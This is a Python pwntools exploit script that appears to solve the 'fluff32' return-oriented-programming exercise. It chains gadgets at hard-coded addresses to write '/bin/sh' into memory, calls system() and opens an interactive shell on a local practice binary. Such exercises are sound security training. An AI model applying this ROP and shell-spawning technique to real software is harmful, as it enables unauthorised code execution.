import sys; sys.path.append("../..")
import shared_pwn
from pwn import *

BINARY_NAME = "fluff32"
BUFFER_LEN = 44

def mov_into_edx(d):
    p =  b""
    p += xor_cls
    p += junk_ptr     # pop esi
    p += pop_ebx
    p += d
    p += xor_add
    p += junk_ptr     # pop ebp

    return p

def write_four_bytes(data, address):
    p = b""
    
    # Move data into ecx
    p += mov_into_edx(address)
    p += xch_gad      # Moves into ecx
    p += junk_ptr     # pop ebp

    # Move data into edx
    p += mov_into_edx(data)

    # Move data into memory
    p += mov_gad
    p += junk_ptr                 # pop ebp
    p += b"\x00\x00\x00\x00"      # pop ebx - Needs to be zero as an xor will follow 

    return p

junk = b"\x90" * BUFFER_LEN
junk_ptr = p32(0x90909090)

# Addresses
data_addr = 0x0804a028 + 64
sys_addr  = p32(0x8048430)

# Gadgets
mov_gad = p32(0x08048693) # mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
xor_cls = p32(0x08048671) # xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
xor_add = p32(0x0804867b) # xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
xch_gad = p32(0x08048689) # xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
pop_ebx = p32(0x080483e1) # pop ebx ; ret

# Payload creation
payload = b""
payload += junk

payload += write_four_bytes(str.encode("/bin"),  p32(data_addr))
payload += write_four_bytes(str.encode("/sh\0"), p32(data_addr + 4))

# Call of system
payload += sys_addr
payload += junk_ptr
payload += p32(data_addr)

io = process(f"./{BINARY_NAME}")
io.recvuntil("> ")
io.send(payload)
io.send("\n")
io.interactive()

# sys.stdout.buffer.write(payload)